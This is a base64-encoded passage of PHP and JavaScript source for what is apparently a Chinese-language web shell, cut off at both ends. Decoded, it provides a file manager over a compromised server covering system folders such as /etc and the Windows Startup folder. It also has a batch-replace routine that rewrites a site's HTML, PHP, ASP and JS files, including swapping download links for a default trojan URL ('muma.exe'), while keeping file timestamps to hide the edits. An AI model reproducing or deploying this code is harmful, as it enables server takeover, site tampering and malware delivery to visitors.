7DQoJCQl2YXIgdXJsID0gZ291cmwgKyBlc2NhcGUocmUpOw0KCQkJd2luZG93LmxvY2F0aW9uID0gdXJsOw0KCQl9DQoJfQ0KCWZ1bmN0aW9uIERlbG9rKG1zZyxnb3VybCkNCgl7DQoJCXNtc2cgPSAiyLe2qNKqyb6z/VsiICsgdW5lc2NhcGUobXNnKSArICJdwvA/IjsNCgkJaWYoY29uZmlybShzbXNnKSkNCgkJew0KCQkJaWYoZ291cmwgPT0gJ2InKQ0KCQkJew0KCQkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3RhbGwnKS52YWx1ZSA9IGVzY2FwZShnb3VybCk7DQoJCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVhbGwnKS5zdWJtaXQoKTsNCgkJCX0NCgkJCWVsc2Ugd2luZG93LmxvY2F0aW9uID0gZ291cmw7DQoJCX0NCgl9DQoJZnVuY3Rpb24gQ2hlY2tEYXRlKG1zZyxnb3VybCkNCgl7DQoJCXNtc2cgPSAitbHHsM7EvP7KsbzkOlsiICsgbXNnICsgIl0iOw0KCQlyZSA9IHByb21wdChzbXNnLG1zZyk7DQoJCWlmKHJlKQ0KCQl7DQoJCQl2YXIgdXJsID0gZ291cmwgKyByZTsNCgkJCXZhciByZWcgPSAvXihcXGR7MSw0fSkoLXxcXC8pKFxcZHsxLDJ9KVxcMihcXGR7MSwyfSkgKFxcZHsxLDJ9KTooXFxkezEsMn0pOihcXGR7MSwyfSkkLzsNCgkJCXZhciByID0gcmUubWF0Y2gocmVnKTsNCgkJCWlmKHI9PW51bGwpe2FsZXJ0KCfI1cbauPHKvbK71f3ItyG48cq9Onl5eXktbW0tZGQgaGg6bW06c3MnKTtyZXR1cm4gZmFsc2U7fQ0KCQkJZWxzZXtkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0YWxsJykudmFsdWUgPSBnb3VybDsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ludmVyJykudmFsdWUgPSByZTsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVhbGwnKS5zdWJtaXQoKTt9DQoJCX0NCgl9DQoJZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkNCgl7DQoJCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKQ0KCQl7DQoJCQl2YXIgZSA9IGZvcm0uZWxlbWVudHNbaV07DQoJCQlpZiAoZS5uYW1lICE9ICdjaGthbGwnKQ0KCQkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsNCgkJfQ0KCX0NCglmdW5jdGlvbiBTdWJtaXRVcmwobXNnLHR4dCxhY3RpZCkNCgl7DQoJCXJlID0gcHJvbXB0KG1zZyx1bmVzY2FwZSh0eHQpKTsNCgkJaWYocmUpDQoJCXsNCgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3RhbGwnKS52YWx1ZSA9IGFjdGlkOw0KCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ludmVyJykudmFsdWUgPSBlc2NhcGUocmUpOw0KCQkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2ZpbGVhbGwnKS5zdWJtaXQoKTsNCgkJfQ0KCX0NCjwvc2NyaXB0Pg0KPGRpdiBpZD0ibXNnYm94IiBjbGFzcz0ibXNnYm94Ij57JE1TR19CT1h9PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjtwYWRkaW5nOjNweDsiPg0KPGZvcm0gbWV0aG9kPSJHRVQiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJzIiBuYW1lPSJzIiB2YWx1ZT0iYSI+DQo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icCIgdmFsdWU9InskUkVBTF9ESVJ9IiBzdHlsZT0id2lkdGg6NTUwcHg7aGVpZ2h0OjIycHg7Ij4NCjxzZWxlY3Qgb25jaGFuZ2U9ImxvY2F0aW9uLmhyZWY9Jz9zPWEmcD0nK29wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUiPg0KCTxvcHRpb24+LS0tzNjK4sS/wrwtLS08L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJ7JFJPT1RfRElSfSI+zfjVvrj5xL/CvDwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9InskRklMRV9ESVJ9Ij6xvrPM0PLEv8K8PC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iQzovIj5Dxcw8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJEOi8iPkTFzDwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9IkU6LyI+RcXMPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iRjovIj5Gxcw8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJDOi9Eb2N1bWVudHMgYW5kIFNldHRpbmdzL0FsbCBVc2Vycy+huL+qyryhubLLtaUvs8zQ8i/G9LavIj7G9Lavz+48L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJDOi9Eb2N1bWVudHMgYW5kIFNldHRpbmdzL0FsbCBVc2Vycy9TdGFydCBNZW51L1Byb2dyYW1zL1N0YXJ0dXAiPsb0tq/P7ijToik8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJDOi9SRUNZQ0xFUiI+u9jK1dW+PC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iQzovUHJvZ3JhbSBGaWxlcyI+UHJvZ3JhbXM8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIvZXRjIj5ldGM8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSIvaG9tZSI+aG9tZTwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9Ii91c3IvbG9jYWwiPkxvY2FsPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iL3RtcCI+VGVtcDwvb3B0aW9uPg0KPC9zZWxlY3Q+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Iteqtb0iIHN0eWxlPSJ3aWR0aDo1MHB4OyI+PC9mb3JtPg0KPGRpdiBzdHlsZT0ibWFyZ2luLXRvcDozcHg7Ij48L2Rpdj4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/cz1hJnA9eyRUSElTX0RJUn0iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KCTxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLQwr2ozsS8/iIgb25jbGljaz0iSW5wdXRvaygnbmV3ZmlsZS5waHAnLCc/cz1wJmZwPXskVEhJU19ESVJ9JmZuPScpOyI+DQoJPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9ItDCvajEv8K8IiBvbmNsaWNrPSJJbnB1dG9rKCduZXdkaXInLCc/cz1hJnA9eyRUSElTX0RJUn0mZG49Jyk7Ij4NCgk8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0ixfrBv8nPtKsiIG9uY2xpY2s9IndpbmRvdy5sb2NhdGlvbj0nP3M9cSZwPXskUkVBTF9ESVJ9JzsiPg0KCTxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1ZnAiIHN0eWxlPSJ3aWR0aDozMDBweDtoZWlnaHQ6MjJweDsiPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1Zm4iIHN0eWxlPSJ3aWR0aDoxMjFweDtoZWlnaHQ6MjJweDsiPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLJz7SrIiBzdHlsZT0id2lkdGg6NTBweDsiPg0KPC9mb3JtPjwvZGl2Pg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBuYW1lPSJmaWxlYWxsIiBpZD0iZmlsZWFsbCIgYWN0aW9uPSI/cz1hJnA9eyRUSElTX0RJUn0iPg0KPHRhYmxlIGJvcmRlcj0iMCI+PHRyPjx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo0NTBweDsiPiA8YSBocmVmPSI/cz1hJnA9eyRVUF9ESVJ9Ij48Yj7Jz7y2xL/CvDwvYj48L2E+PC90ZD4NCjx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+ILLZ1/cgPC90ZD48dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NDhweDsiPiDK9NDUIDwvdGQ+PHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjE3M3B4OyI+INDeuMTKsbzkIDwvdGQ+PHRkIGNsYXNzPSJ0b3B0ZCIgc3R5bGU9IndpZHRoOjc1cHg7Ij4gtPPQoSA8L3RkPjwvdHI+DQpFTkQ7DQoJaWYoKCRoX2QgPSBAb3BlbmRpcigkcCkpID09IE5VTEwpIHJldHVybiBmYWxzZTsNCgl3aGlsZShmYWxzZSAhPT0gKCRGaWxlbmFtZSA9IEByZWFkZGlyKCRoX2QpKSkNCgl7DQoJCWlmKCRGaWxlbmFtZSA9PSAnLicgb3IgJEZpbGVuYW1lID09ICcuLicpIGNvbnRpbnVlOw0KCQkkRmlsZXBhdGggPSBGaWxlX1N0cigkUkVBTF9ESVIuJy8nLiRGaWxlbmFtZSk7DQoJCWlmKGlzX2RpcigkRmlsZXBhdGgpKQ0KCQl7DQoJCQkkRmlsZXBlcm0gPSBzdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJEZpbGVwYXRoKSwxMCw4KSwtNCk7DQoJCQkkRmlsZXRpbWUgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEZpbGVwYXRoKSk7DQoJCQkkRmlsZXBhdGggPSB1cmxlbmNvZGUoJEZpbGVwYXRoKTsNCgkJCWVjaG8gIlxyXG4iLicgPHRyPjx0ZD4gPGEgaHJlZj0iP3M9YSZwPScuJEZpbGVwYXRoLiciPjxmb250IGZhY2U9IndpbmdkaW5ncyIgc2l6ZT0iMyI+MDwvZm9udD48Yj4gJy4kRmlsZW5hbWUuJyA8L2I+PC9hPiA8L3RkPiAnOw0KCQkJJEZpbGVuYW1lID0gdXJsZW5jb2RlKCRGaWxlbmFtZSk7DQoJCQllY2hvICcgPHRkPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJEZWxvayhcJycuJEZpbGVuYW1lLidcJyxcJz9zPWEmcD0nLiRUSElTX0RJUi4nJmRkPScuJEZpbGVuYW1lLidcJyk7cmV0dXJuIGZhbHNlOyI+IMm+s/0gPC9hPiAnOw0KCQkJZWNobyAnIDxhIGhyZWY9IiMiIG9uY2xpY2s9IklucHV0b2soXCcnLiRGaWxlbmFtZS4nXCcsXCc/cz1hJnA9Jy4kVEhJU19ESVIuJyZtbj0nLiRGaWxlbmFtZS4nJnJuPVwnKTtyZXR1cm4gZmFsc2U7Ij4guMTD+yA8L2E+IDwvdGQ+ICc7DQoJCQllY2hvICcgPHRkPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJJbnB1dG9rKFwnJy4kRmlsZXBlcm0uJ1wnLFwnP3M9YSZwPScuJFRISVNfRElSLicmbWs9Jy4kRmlsZW5hbWUuJyZtZD1cJyk7cmV0dXJuIGZhbHNlOyI+ICcuJEZpbGVwZXJtLicgPC9hPiA8L3RkPiAnOw0KCQkJZWNobyAnIDx0ZD4nLiRGaWxldGltZS4nPC90ZD4gJzsNCgkJCWVjaG8gJyA8dGQ+IDwvdGQ+IDwvdHI+Jy4iXHJcbiI7DQoJCQkkTlVNX0QrKzsNCgkJfQ0KCX0NCglAcmV3aW5kZGlyKCRoX2QpOw0KCXdoaWxlKGZhbHNlICE9PSAoJEZpbGVuYW1lID0gQHJlYWRkaXIoJGhfZCkpKQ0KCXsNCgkJaWYoJEZpbGVuYW1lID09ICcuJyBvciAkRmlsZW5hbWUgPT0gJy4uJykgY29udGludWU7DQoJCSRGaWxlcGF0aCA9IEZpbGVfU3RyKCRSRUFMX0RJUi4nLycuJEZpbGVuYW1lKTsNCgkJaWYoIWlzX2RpcigkRmlsZXBhdGgpKQ0KCQl7DQoJCQkkRmlsZXVybHMgPSBzdHJfcmVwbGFjZShGaWxlX1N0cigkUk9PVF9ESVIuJy8nKSwkR0VUVVJMLCRGaWxlcGF0aCk7DQoJCQkkRmlsZXBlcm0gPSBzdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJEZpbGVwYXRoKSwxMCw4KSwtNCk7DQoJCQkkRmlsZXRpbWUgPSBAZGF0ZSgnWS1tLWQgSDppOnMnLEBmaWxlbXRpbWUoJEZpbGVwYXRoKSk7DQoJCQkkRmlsZXNpemUgPSBGaWxlX1NpemUoQGZpbGVzaXplKCRGaWxlcGF0aCkpOw0KCQkJaWYoJEZpbGVwYXRoID09IEZpbGVfU3RyKF9fRklMRV9fKSkgJGZuYW1lID0gJzxmb250IGNvbG9yPSIjOEIwMDAwIj4nLiRGaWxlbmFtZS4nPC9mb250Pic7IGVsc2UgJGZuYW1lID0gJEZpbGVuYW1lOw0KCQkJZWNobyAiXHJcbiIuJyA8dHI+PHRkPiA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImZpbGVzW10iIHZhbHVlPSInLnVybGVuY29kZSgkRmlsZXBhdGgpLiciPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLiRGaWxldXJscy4nIj4nLiRmbmFtZS4nPC9hPiA8L3RkPic7DQoJCQkkRmlsZXBhdGggPSB1cmxlbmNvZGUoJEZpbGVwYXRoKTsNCgkJCSRGaWxlbmFtZSA9IHVybGVuY29kZSgkRmlsZW5hbWUpOw0KCQkJZWNobyAnIDx0ZD4gPGEgaHJlZj0iP3M9cCZmcD0nLiRUSElTX0RJUi4nJmZuPScuJEZpbGVuYW1lLiciPiCx4LytIDwvYT4gJzsNCgkJCWVjaG8gJyA8YSBocmVmPSIjIiBvbmNsaWNrPSJJbnB1dG9rKFwnJy4kRmlsZW5hbWUuJ1wnLFwnP3M9YSZwPScuJFRISVNfRElSLicmbW49Jy4kRmlsZW5hbWUuJyZybj1cJyk7cmV0dXJuIGZhbHNlOyI+ILjEw/sgPC9hPiA8L3RkPic7DQoJCQllY2hvICcgPHRkPicuJEZpbGVwZXJtLic8L3RkPiAnOw0KCQkJZWNobyAnIDx0ZD4nLiRGaWxldGltZS4nPC90ZD4gJzsNCgkJCWVjaG8gJyA8dGQgYWxpZ249InJpZ2h0Ij4gPGEgaHJlZj0iP3M9YSZkZj0nLiRGaWxlcGF0aC4nIj4nLiRGaWxlc2l6ZS4nPC9hPiA8L3RkPjwvdHI+ICcuIlxyXG4iOw0KCQkJJE5VTV9GKys7DQoJCX0NCgl9DQoJQGNsb3NlZGlyKCRoX2QpOw0KCWlmKCEkRmlsZXRpbWUpICRGaWxldGltZSA9ICcyMDA5LTAxLTAxIDAwOjAwOjAwJzsNCglwcmludDw8PEVORA0KPC90YWJsZT4NCjxkaXYgY2xhc3M9ImFjdGFsbCI+IDxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJhY3RhbGwiIG5hbWU9ImFjdGFsbCIgdmFsdWU9InVuZGVmaW5lZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iaW52ZXIiIG5hbWU9ImludmVyIiB2YWx1ZT0idW5kZWZpbmVkIj4NCjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSk7Ij4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK4tNbGIiBvbmNsaWNrPSJTdWJtaXRVcmwoJ7i01sbL+dGhzsS8/rW9wre+tjogJywneyRUSElTX0RJUn0nLCdhJyk7cmV0dXJuIGZhbHNlOyI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iyb6z/SIgb25jbGljaz0iRGVsb2soJ8v50aHOxLz+JywnYicpO3JldHVybiBmYWxzZTsiPg0KPGlucHV0IHR5cGU9ImJ1dHRvbiIgdmFsdWU9Isr00NQiIG9uY2xpY2s9IlN1Ym1pdFVybCgn0N64xMv50aHOxLz+yvTQ1Na1zqo6ICcsJzA2NjYnLCdjJyk7cmV0dXJuIGZhbHNlOyI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iyrG85CIgb25jbGljaz0iQ2hlY2tEYXRlKCd7JEZpbGV0aW1lfScsJ2QnKTtyZXR1cm4gZmFsc2U7Ij4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK08rD8IiBvbmNsaWNrPSJTdWJtaXRVcmwoJ7TysPyyos/C1NjL+dGhzsS8/s/C1NjD+86qOiAnLCdzaWxpYy5neicsJ2UnKTtyZXR1cm4gZmFsc2U7Ij4NCsS/wrwoeyROVU1fRH0pIC8gzsS8/ih7JE5VTV9GfSk8L2Rpdj4gPC9mb3JtPg0KRU5EOw0KCXJldHVybiB0cnVlOw0KfQ0KLy/F+sG/zOa7uw0KZnVuY3Rpb24gVGlodWFuX0F1dG8oJHRwLCR0dCwkdGgsJHRjYSwkdGNiLCR0ZCwkdGIpDQp7DQoJaWYoKCRoX2QgPSBAb3BlbmRpcigkdHApKSA9PSBOVUxMKSByZXR1cm4gZmFsc2U7DQoJd2hpbGUoZmFsc2UgIT09ICgkRmlsZW5hbWUgPSBAcmVhZGRpcigkaF9kKSkpDQoJew0KCQlpZigkRmlsZW5hbWUgPT0gJy4nIHx8ICRGaWxlbmFtZSA9PSAnLi4nKSBjb250aW51ZTsNCgkJJEZpbGVwYXRoID0gRmlsZV9TdHIoJHRwLicvJy4kRmlsZW5hbWUpOw0KCQlpZihpc19kaXIoJEZpbGVwYXRoKSAmJiAkdGIpIFRpaHVhbl9BdXRvKCRGaWxlcGF0aCwkdHQsJHRoLCR0Y2EsJHRjYiwkdGQsJHRiKTsNCgkJJGRvaW5nID0gZmFsc2U7DQoJCWlmKGVyZWdpKCR0dCwkRmlsZW5hbWUpKQ0KCQl7DQoJCQkkaWMgPSBGaWxlX1JlYWQoJEZpbGVwYXRoKTsNCgkJCWlmKCR0aCkNCgkJCXsNCgkJCQlpZighc3RyaXN0cigkaWMsJHRjYSkpIGNvbnRpbnVlOw0KCQkJCSRpYyA9IHN0cl9yZXBsYWNlKCR0Y2EsJHRjYiwkaWMpOw0KCQkJCSRkb2luZyA9IHRydWU7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJcHJlZ19tYXRjaF9hbGwoIi9ocmVmXD1cIihbXn5dKj8pXCIvaSIsJGljLCRuYyk7DQoJCQkJZm9yKCRpID0gMDskaSA8IGNvdW50KCRuY1sxXSk7JGkrKyl7aWYoZXJlZ2koJHRjYSwkbmNbMV1bJGldKSl7JGljID0gc3RyX3JlcGxhY2UoJG5jWzFdWyRpXSwkdGNiLCRpYyk7JGRvaW5nID0gdHJ1ZTt9fQ0KCQkJfQ0KCQkJaWYoJHRkKSAkZnRpbWUgPSBAZmlsZW10aW1lKCRGaWxlcGF0aCk7DQoJCQlpZigkZG9pbmcpIGVjaG8gRmlsZV9Xcml0ZSgkRmlsZXBhdGgsJGljLCd3YicpID8gJzxmb250IGNvbG9yPSIjMDA2NjAwIj6zybmmOjwvZm9udD4nLiRGaWxlcGF0aC4nIDxicj4nLiJcclxuIiA6ICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+yqew3Do8L2ZvbnQ+Jy4kRmlsZXBhdGguJyA8YnI+Jy4iXHJcbiI7DQoJCQlpZigkdGQpIEB0b3VjaCgkRmlsZXBhdGgsJGZ0aW1lKTsNCgkJCW9iX2ZsdXNoKCk7DQoJCQlmbHVzaCgpOw0KCQl9DQoJfQ0KCUBjbG9zZWRpcigkaF9kKTsNCglyZXR1cm4gdHJ1ZTsNCn0NCmZ1bmN0aW9uIFRpaHVhbl9kKCkNCnsNCglpZigoIWVtcHR5KCRfUE9TVFsndHAnXSkpICYmICghZW1wdHkoJF9QT1NUWyd0dCddKSkpDQoJew0KCQllY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPic7DQoJCSR0dCA9IHN0cl9yZXBsYWNlKCcuJywnXFwuJywkX1BPU1RbJ3R0J10pOw0KCQkkdGQgPSBpc3NldCgkX1BPU1RbJ3RkJ10pID8gdHJ1ZSA6IGZhbHNlOw0KCQkkdGIgPSAoJF9QT1NUWyd0YiddID09ICdhJykgPyB0cnVlIDogZmFsc2U7DQoJCSR0aCA9ICgkX1BPU1RbJ3RoJ10gPT0gJ2EnKSA/IHRydWUgOiBmYWxzZTsNCgkJaWYoJHRoKSAkX1BPU1RbJ3RjYSddID0gc3RyX3JlcGxhY2UoJy4nLCdcXC4nLCRfUE9TVFsndGNhJ10pOw0KCQllY2hvIFRpaHVhbl9BdXRvKCRfUE9TVFsndHAnXSwkdHQsJHRoLCRfUE9TVFsndGNhJ10sJF9QT1NUWyd0Y2InXSwkdGQsJHRiKSA/ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJ3aW5kb3cubG9jYXRpb249XCc/cz1kXCciPszmu7vN6rHPPC9hPicgOiAnPGEgaHJlZj0iIyIgb25jbGljaz0id2luZG93LmxvY2F0aW9uPVwnP3M9ZFwnIj7S7LOj1tXWuTwvYT4nOw0KCQllY2hvICc8L2Rpdj4nOw0KCQlyZXR1cm4gZmFsc2U7DQoJfQ0KCSRGSUxFX0RJUiA9IEZpbGVfU3RyKGRpcm5hbWUoX19GSUxFX18pKTsNCgkkUk9PVF9ESVIgPSBGaWxlX01vZGUoKTsNCglwcmludDw8PEVORA0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBGdWxsbGxsKGkpew0KCWlmKGk9PTApIHJldHVybiBmYWxzZTsNCiAgU3RyID0gbmV3IEFycmF5KDUpOw0KICBpZihpIDw9IDIpe1N0clsxXSA9ICJ7JFJPT1RfRElSfSI7U3RyWzJdID0gInskRklMRV9ESVJ9Ijt0Zm9ybS50cC52YWx1ZSA9IFN0cltpXTt9DQoJZWxzZXtTdHJbM10gPSAiLmh0bXwuaHRtbHwuc2h0bWwiO1N0cls0XSA9ICIuaHRtfC5odG1sfC5zaHRtbHwuYXNwfC5waHB8LmpzcHwuY2dpfC5hc3B4fC5kbyI7U3RyWzVdID0gIi5qcyI7dGZvcm0udHQudmFsdWUgPSBTdHJbaV07fQ0KICByZXR1cm4gdHJ1ZTsNCn0NCmZ1bmN0aW9uIHNob3d0aCh0aCl7DQoJaWYodGggPT0gJ2EnKSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2V0YXV0bycpLmlubmVySFRNTCA9ICey6dXSxNrI3To8dGV4dGFyZWEgbmFtZT0idGNhIiBpZD0idGNhIiBzdHlsZT0id2lkdGg6NjEwcHg7aGVpZ2h0OjEwMHB4OyI+PC90ZXh0YXJlYT48YnI+zOa7u7PJzqo6PHRleHRhcmVhIG5hbWU9InRjYiIgaWQ9InRjYiIgc3R5bGU9IndpZHRoOjYxMHB4O2hlaWdodDoxMDBweDsiPjwvdGV4dGFyZWE+JzsNCglpZih0aCA9PSAnYicpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZXRhdXRvJykuaW5uZXJIVE1MID0gJzxicj7PwtTYuvPXuiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGNhIiBpZD0idGNhIiB2YWx1ZT0iLmV4ZXwuN3p8LnJhcnwuemlwfC5nenwudHh0IiBzdHlsZT0id2lkdGg6NTAwcHg7Ij48YnI+PGJyPszmu7uzyc6qIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0Y2IiIGlkPSJ0Y2IiIHZhbHVlPSJodHRwOi8vYmxhY2tiYXAub3JnL211bWEuZXhlIiBzdHlsZT0id2lkdGg6NTAwcHg7Ij4nOw0KCXJldHVybiB0cnVlOw0KfQ0KZnVuY3Rpb24gYXV0b3VwKCl7DQoJaWYoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3RwJykudmFsdWUgPT0gJycpe2FsZXJ0KCfCt762srvE3M6qv9UnKTtyZXR1cm4gZmFsc2U7fQ0KCWlmKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0dCcpLnZhbHVlID09ICcnKXthbGVydCgnwODQzbK7xNzOqr/VJyk7cmV0dXJuIGZhbHNlO30NCglpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndGNhJykudmFsdWUgPT0gJycpe2FsZXJ0KCe0+sLrsrvE3M6qv9UnKTtyZXR1cm4gZmFsc2U7fQ0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0Zm9ybScpLnN1Ym1pdCgpOw0KfQ0KPC9zY3JpcHQ+DQo8Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9InRmb3JtIiBpZD0idGZvcm0iIGFjdGlvbj0iP3M9ZCI+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MzVweDsiPszmu7vCt762IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0cCIgaWQ9InRwIiB2YWx1ZT0ieyRST09UX0RJUn0iIHN0eWxlPSJ3aWR0aDo1MDBweDsiPg0KPHNlbGVjdCBvbmNoYW5nZT0ncmV0dXJuIEZ1bGxsbGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSknPg0KPG9wdGlvbiB2YWx1ZT0iMCIgc2VsZWN0ZWQ+LS23ts6n0aHU8S0tPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIxIj7N+NW+uPnEv8K8PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSIyIj6xvrPM0PLEv8K8PC9vcHRpb24+DQo8L3NlbGVjdD48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDozNXB4OyI+zsS8/sDg0M0gPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InR0IiBpZD0idHQiIHZhbHVlPSIuaHRtfC5odG1sfC5zaHRtbCIgc3R5bGU9IndpZHRoOjUwMHB4OyI+DQo8c2VsZWN0IG9uY2hhbmdlPSdyZXR1cm4gRnVsbGxsbChvcHRpb25zW3NlbGVjdGVkSW5kZXhdLnZhbHVlKSc+DQo8b3B0aW9uIHZhbHVlPSIwIiBzZWxlY3RlZD4tLcDg0M3RodTxLS08L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjMiPr6yzKzOxLz+PC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSI0Ij69xbG+K76yzKw8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9IjUiPkpTzsS8/jwvb3B0aW9uPg0KPC9zZWxlY3Q+PC9kaXY+DQo8ZGl2IGNsYXNzPSJhY3RhbGwiIHN0eWxlPSJoZWlnaHQ6MjM1cHg7Ij48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InRoIiB2YWx1ZT0iYSIgb25jbGljaz0ic2hvd3RoKCdhJykiIGNoZWNrZWQ+zOa7u87EvP7W0LXE1ri2qMTayN0gPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0aCIgdmFsdWU9ImIiIG9uY2xpY2s9InNob3d0aCgnYicpIj7M5ru7zsS8/tbQtcTPwtTYtdjWtzxicj4NCjxkaXYgaWQ9InNldGF1dG8iPrLp1dLE2sjdIDx0ZXh0YXJlYSBuYW1lPSJ0Y2EiIGlkPSJ0Y2EiIHN0eWxlPSJ3aWR0aDo2MTBweDtoZWlnaHQ6MTAwcHg7Ij48L3RleHRhcmVhPjxicj7M5ru7s8nOqiA8dGV4dGFyZWEgbmFtZT0idGNiIiBpZD0idGNiIiBzdHlsZT0id2lkdGg6NjEwcHg7aGVpZ2h0OjEwMHB4OyI+PC90ZXh0YXJlYT48L2Rpdj48L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDozMHB4OyI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0ZCIgdmFsdWU9IjEiIGNoZWNrZWQ+saOz1s7EvP7Q3rjEyrG85LK7seQ8L2Rpdj4NCjxkaXYgY2xhc3M9ImFjdGFsbCIgc3R5bGU9ImhlaWdodDo1MHB4OyI+PGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJ0YiIgdmFsdWU9ImEiIGNoZWNrZWQ+vavM5ru706bTw9PauMPOxLz+vNAs19POxLz+vNC6zc7EvP4NCjxicj48aW5wdXQgdHlwZT0icmFkaW8iIG5hbWU9InRiIiB2YWx1ZT0iYiI+vfa9q8zmu7vTptPD09q4w87EvP680DwvZGl2Pg0KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0iv6rKvMzmu7siIHN0eWxlPSJ3aWR0aDo4MHB4O2hlaWdodDoyNnB4OyIgb25jbGljaz0iYXV0b3VwKCk7Ij48L2Rpdj4NCjwvZm9ybT4NCkVORDsNCglyZXR1cm4gdHJ1ZTsNCn0NCi8vyajD6MS+wu0NCmZ1bmN0aW9uIEFudGl2aXJ1c19BdXRvKCRzcCwkZmVhdHVyZXMsJHN0LCRzYikNCnsNCglpZigoJGhfZCA9IEBvcGVuZGlyKCRzcCkpID09IE5VTEwpIHJldHVybiBmYWxzZTsNCgkkUk9PVF9ESVIgPSBGaW